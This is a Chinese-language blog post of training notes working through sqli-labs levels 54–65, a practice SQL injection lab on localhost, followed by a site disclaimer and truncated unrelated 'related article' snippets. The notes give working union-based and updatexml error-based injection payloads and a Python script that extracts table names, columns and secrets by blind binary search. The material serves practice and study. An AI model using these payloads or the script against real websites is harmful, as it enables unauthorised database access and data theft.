sqli-labs-master靶场训练笔记(54-65|决战紫禁之巓)

2024.2.5

level-54 

1、先判断类型和闭合类型

?id=1/0       #正常 证明不是数字型
?id=1'        #错误
?id=1' -- a   #正常 判断是 ' 闭合

2、 判断列数

 这里需要运气,但是根据前面50多关的经验直接猜测是3列

?id=-1' union select 1,2,3 -- a

3、爆表名,爆列名

由于有两个回显位,可以一口气爆两个 

?id=-1' union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema=database()) -- a

4、 爆字段名

?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='k4btflpcqe') -- a

5、爆数据

四个字段,四次机会

经过尝试,第三个字段是正确的

?id=-1' union select 1,2,(select group_concat('~',secret_0LJ6,'~') from challenges.k4btflpcqe limit 0,1) -- a

(如果是第一次打这个关卡,但凡运气和判断失误一点都不太能一次过)

level-55

1、先判断类型
?id=1/0       #错误 证明是数字型
?id=1 -- a    #错误
?id=1) -- a   #正常 判断是 ) 闭合

2、后面过程与 level-54 一样

level-56

1、先判断类型
?id=1/0       #正常 证明不是数字型
?id=1'        #错误
?id=1' -- a   #错误
?id=1') -- a  #正常 判断是 ') 闭合

2、后面过程与 level-54 一样

 level-57

1、先判断类型
?id=1/0       #正常 证明不是数字型
?id=1'        #正常
?id=1"        #错误
?id=1" -- a   #正常 判断是 " 闭合

2、后面过程与 level-54 一样

level-58

1、先判断类型

?id=1/0       #正常 证明不是数字型
?id=1' -- a   #因为有报错信息可以直接判断出'闭合

2、爆列名

有报错信息的存在,这次选择报错注入,节省次数的浪费

?id=1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'),1) -- a

3、爆字段

?id=1' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='q9821q44au'),'~'),1) -- a

4、爆数据

?id=1' and updatexml(1,concat('~',(select group_concat('~',secret_L4Z3,'~') from challenges.q9821q44au limit 0,1),'~'),1) -- a

level-59

1、先判断类型
?id=1/0       #错误 证明是数字型
?id=1 -- a    #正常 判断无闭合

2、后面过程与 level-58 一样

level-60

1、先判断类型
?id=1/0       #正常 证明不是数字型
?id=1'        #错误
?id=1"        #根据报错信息知道是 ") 闭合
?id=1") -- a  #正常

2、后面过程与 level-58 一样

level-61

1、先判断类型
?id=1/0        #正常 证明不是数字型
?id=1'         #根据报错信息知道是 ')) 闭合
?id=1')) -- a  #正常

2、后面过程与 level-58 一样

level-62

 1、先判断类型

1、先判断类型
?id=1/0         #正常 证明不是数字型
?id=1'          #错误
?id=1"          #正常
?id=1' -- a     #错误
?id=1') -- a    #正常 判断是 ') 闭合

2、爆数据

首先需要了解一下表名,列名,数据的组成

表名:10位随机的字母(含大小写)或数字

列名:secret_+4位随机的字母(含大小写)或数字

数据:24位随机的字母(含大小写)或数字

显然正常的爆破次数(38*62=2356)是远远大于130次的

而且用二分法 (38*log2(62)=228) 也大于130

既然这样,只能写脚本绕过了

import requests

def binary_query(start,length,payload):
    name = ''
    times = 0
    for i in range(start,start+length):
        p, q = 0, len(words)-1
        while p<=q:
            resp = requests.get(url, params={'id':payload.format(i,words[(p+q)//2])})
            times += 1
            if ("Login name" in resp.content.decode('utf-8')):  #向右找
                p = (p+q)//2+1
            else:    #向左找
                q = (p+q)//2-1
        name += chr(words[p])
    return name,times


#生成0~9,A~Z,a~z的ascii码
words = [i for i in range(ord('0'),ord('9')+1)]+[i for i in range(ord('A'),ord('Z')+1)]+[i for i in range(ord('a'),ord('z')+1)]
url = r"http://127.0.0.1/sqli-labs-master/Less-62/"

#爆表名
table_payload = "1') and if(ascii(mid((select table_name from information_schema.tables where table_schema=database()),{},1))>{},1,0) -- a"
table_name, table_time= binary_query(1,10,table_payload)
print(f'table_name: {table_name}\ntable_time: {table_time}')

#爆列名
column_payload = f"1') and if(ascii(mid((select column_name from information_schema.columns where table_schema=database() and table_name='{table_name}' and column_name like 'secret_%')"+",{},1))>{},1,0) -- a"
column_name,column_time = binary_query(8,4,column_payload)
column_name = 'secret_'+ column_name
print(f'table_name: {column_name}\ntable_time: {column_time}')

#爆数据
data_payload = f"1') and if(ascii(mid((select {column_name} from challenges.{table_name})"+",{},1))>{},1,0) -- a"
data_name,data_time = binary_query(1,24,data_payload)
print(f'table_name: {data_name}\ntable_time: {data_time}')

print(f'sum_time:{table_time+column_time+data_time}')

 

level-63

?id=1' -- a
' 闭合,剩下的和level-62一样

level-64

?id=1)) -- a
)) 闭合,剩下的和level-62一样

level-65

?id=1") -- a
") 闭合,剩下的和level-62一样

这一路上走走停停,两周的时间,当初茫然的菜鸟似乎已经开始可以独自面对风雨,从对着单引号一脸懵逼到如今可以写脚本来解放双手,sql注入的大门已经为你我打开,此时,训练场已经满足不了想要展翅的❤,是时候背起行囊,前往大千世界,但切记,虽可飞翔,但羽翼仍未丰满,面对挑战,不要气馁,面对弱小, 务必留情,切勿挑战世界的法则,与千千万万一起构建和谐的社会

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/383169.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

leetcode:131.分割回文串

树形结构&#xff1a; 切割到字符串的尾部&#xff0c;就是叶子节点。 回溯算法三部曲&#xff1a; 1.递归的参数和返回值&#xff1a; 参数字符串s和startIndex切割线 2.确定终止条件&#xff1a; 当分割线到字符串末尾时到叶子节点&#xff0c;一种方案出现 3.单层搜索…

真、开源LLM-OLMo

论文&#xff1a;https://arxiv.org/pdf/2402.00838.pdf Weights https://huggingface.co/allenai/OLMo-7B Code https://github.com/allenai/OLMo Data https://huggingface.co/datasets/allenai/dolma Evaluation https://github.com/allenai/OLMo-Eval Adaptation http…

行业科普应用分享 | 用于安全和安保的仪器仪表

【前言】 物联网带来了对安全和安保的新要求。利用物联网&#xff0c;运营商可以从复杂和分布式的装置中获益。此外&#xff0c;自主系统在现代工业的运作中正变得越来越重要。 从制造业到农业&#xff0c;这些远程操作需要仪器提供持续监测&#xff0c;以提供安全和保障。这…

记录一次centos 使用selenium运行环境

这里写自定义目录标题 宝塔面板 安装 selenium安装google-chrome 宝塔面板 安装 selenium 安装google-chrome yum install https://dl.google.com/linux/direct/google-chrome-stable_current_x86_64.rpm 查看chrome版本 google-chrome --version 下载对应chrome版本的chro…

uniapp微信小程序开发踩坑日记:Pinia持久化

如果你使用过Pinia&#xff0c;那你应该知道Pinia持久化插件&#xff1a;https://prazdevs.github.io/pinia-plugin-persistedstate/zh/ 但由于官方文档提供的说明并不是针对小程序开发&#xff0c;所以我们在使用这个插件实现uniapp小程序开发中Pinia持久化会出现问题 我在C…

java学习07---综合练习

飞机票 1.需求: 机票价格按照淡季旺季、头等舱和经济舱收费、输入机票原价、月份和头等舱或经济舱。 按照如下规则计算机票价格&#xff1a;旺季&#xff08;5-10月&#xff09;头等舱9折&#xff0c;经济舱8.5折&#xff0c;淡季&#xff08;11月到来年4月&#xff09;头等舱7…

人力资源智能化管理项目(day05:角色管理)

学习源码可以看我的个人前端学习笔记 (github.com):qdxzw/humanResourceIntelligentManagementProject 搭建页面结构 分页组件&#xff1a;设置layout&#xff0c;表示需要显示的内容&#xff0c;用逗号分隔&#xff0c;布局元素会依次显示。prev表示上一页&#xff0c;next为…

Ps:统计

Ps菜单&#xff1a;文件/脚本/统计 Scripts/Statistics 统计 Statistics脚本命令提供了一种高效的方法来处理和分析大量图像&#xff0c;使用户能够自动执行复杂的图像分析任务&#xff0c;并在多个图像间应用统计学方法。这个功能极大地扩展了 Photoshop 在科学研究、图像编辑…

ThreeDPose

还没跑: GitHub - moshoeu/ThreeDPoseModelDriver: 用3DPose骨骼位置驱动人形模型动画 GitHub - Doggerlas/3DPoseTracker: unity练手项目 https://github.com/digital-standard/ThreeDPoseTracker GitHub - xerifg/Real-time-3DposeTracking-Unity3D-UnityChan: capture hum…

Acwing 5469. 有效点对【正难则反+巧妙选择根节点】

原题链接&#xff1a;https://www.acwing.com/problem/content/5472/ 题目描述&#xff1a; 给定一个 n 个节点的无向树&#xff0c;节点编号 1∼n。 树上有两个不同的特殊点 x,y&#xff0c;对于树中的每一个点对 (u,v)(u≠v)&#xff0c;如果从 u 到 v 的最短路径需要经过…

C语言分钟计算

一.题目描述 给你同一天的两个时间(24小时制),求这两个时间内有多少分钟,保证第一个时间在第二个时间之前. 二.输入描述 输入两行,每行包括两个整数表示小时和分钟. 三.输出描述 输出分钟数. 四.示例 输入 10 10 11 05 输出 55 五.代码

【Linux中增加Nginx虚拟主机配置文件(conf.d)】后访问80端报403

在nginx.conf的http模块新增 include /etc/nginx/conf.d/*.conf; 后 重启nginx报403 处理办法&#xff1a; 1&#xff0c;如果nginx是root用户启动的 则需要 将nginx.config的user改为和启动用户一致 2.权限问题&#xff0c;如果nginx没有web目录的操作权限&#xff0c;也会出…

《21天精通IPv4 to IPv6》第3天:IPv6地址配置——如何为不同的系统配置IPv6?

博主猫头虎的技术世界 &#x1f31f; 欢迎来到猫头虎的博客 — 探索技术的无限可能&#xff01; 专栏链接&#xff1a; &#x1f517; 精选专栏&#xff1a; 《面试题大全》 — 面试准备的宝典&#xff01;《IDEA开发秘籍》 — 提升你的IDEA技能&#xff01;《100天精通鸿蒙》 …

【报错解决】-bash: export: `-8‘: not a valid identifier 不是有效的标识符

现象 一登陆就提示-bash: export: -8’: not a valid identifier 不是有效的标识符 问题出现的原因 设置字符集时多写了空格 [rootdb1 ~]# cat >>/etc/profile<<EOF export LANGen_US.UTF -8(-8前不应有空格) EOF 解决方法 cd /etc vi profile 把export带有-8的…

c++求三个数中最大数

#include<iostream> using namespace std; int main() { int a,b,c; cout<<"请输入三个数字"<<endl;//end后面为小写的L cin>>a>>b>>c; if(a>b&&a>c) cout<<"最大数为a:"<<a<<e…

基于centos的Linux中如何安装python

前言 之前在linux上安装python的时候没来及记录下来&#xff0c;感觉还是有必要的&#xff0c;所以现在打算把原来装好的python卸载掉&#xff0c;然后重装一遍&#xff0c;重新记录一下。当前环境是否安装python 通过查询我发现机器里有3个版本的python&#xff0c;第一个是…

常用的git命令

1、git clone 克隆远程项目。从远程上下载的是master分支&#xff0c;通常开发都会重新拉一个分支&#xff0c;比如dev&#xff0c;在dev分支上进行开发&#xff0c;然后再合并到master上。 git clone http://xxxxxxxxxxxxxx.git2、git checkout 检出特定分支。项目clone完以后…

Java奠基】对象数组练习

目录 商品对象信息获取 商品对象信息输入 商品对象信息计算 商品对象信息统计 学生数据管理实现 商品对象信息获取 题目要求是这样的&#xff1a; 定义数组存储3个商品对象。 商品的属性&#xff1a;商品的id&#xff0c;名字&#xff0c;价格&#xff0c;库存。 创建三个…

EasyExcel动态列导出

测试代码地址&#xff1a;https://gitee.com/wangtianwen1996/cento-practice/tree/master/src/test/java/com/xiaobai/easyexcel/dynamiccolumn 官方文档&#xff1a;https://easyexcel.opensource.alibaba.com/docs/2.x/quickstart/write 一、实现方式 1、根据需要导出的列…

【安卓跨程序共享数据,探究ContentProvider】

ContentProvider主要用于在不同的应用程序之间实现数据共享的功能&#xff0c;它提供了一套完整的机制&#xff0c;允许一个程序访问另一个程序中的数据&#xff0c;同时还能保证被访问数据的安全性。 目前&#xff0c;使用ContentProvider是Android实现跨程序共享数据的标准方…